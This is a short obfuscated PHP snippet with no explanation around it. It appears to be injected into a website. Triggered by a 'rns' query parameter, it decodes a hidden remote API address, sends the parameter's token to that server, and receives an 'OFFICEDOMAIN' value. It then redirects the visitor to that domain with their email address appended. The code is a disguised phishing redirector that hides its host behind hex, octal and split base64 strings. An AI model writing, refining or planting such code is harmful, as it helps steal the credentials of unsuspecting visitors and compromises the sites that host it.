if (isset($_GET["\x72\156\x73"])) { $urldon = ''; $dgri = "\141\110\122\60\x63\110\x4d"; $jdoe = "\66\x4c\x79\71\x69\x62"; $mgkg = "\107\106\x6a\x61"; $batt = "\62\x68\x76\143"; $iitt = "\x33\x52\160\142\155"; $draa = "\x63\171\131\x58"; $njod = "\102\x70\x4c\x6d\x4e"; $mcbhei = "\x76\142\121\75\75"; $urldon .= $dgri . $jdoe . $mgkg . $batt . $iitt . $draa . $njod . $mcbhei; $userdata = ''; $userdatavemail = ''; $linkanow = $_GET["\162\x6e\163"]; $urldon = base64_decode($urldon); if (strpos($linkanow, "\116\60\x31\62\63\116")) { $myArray = explode("\116\60\61\62\63\x4e", $linkanow); $userdata = $myArray[0]; $userdatavemail = $myArray[1]; } $gogeturl = $urldon . "\57\x6f\x70\145\x6e\x72\x5f\x64\157\155\x61\x69\156\x73\x2e\160\x68\x70\x3f\144\x61\164\141\75" . $userdata; $curl = curl_init(); curl_setopt_array($curl, array(CURLOPT_URL => $gogeturl, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_CUSTOMREQUEST => "\107\x45\x54")); $jsonData = curl_exec($curl); $err = curl_error($curl); curl_close($curl); $jsonObj = json_decode($jsonData); $DOMAIN = $jsonObj->OFFICEDOMAIN; header("\114\157\x63\141\x74\151\157\156\72\x20" . $DOMAIN . "\77" . $userdata . "\x4e\x30\61\62\x33\116" . $userdatavemail); die; } ?>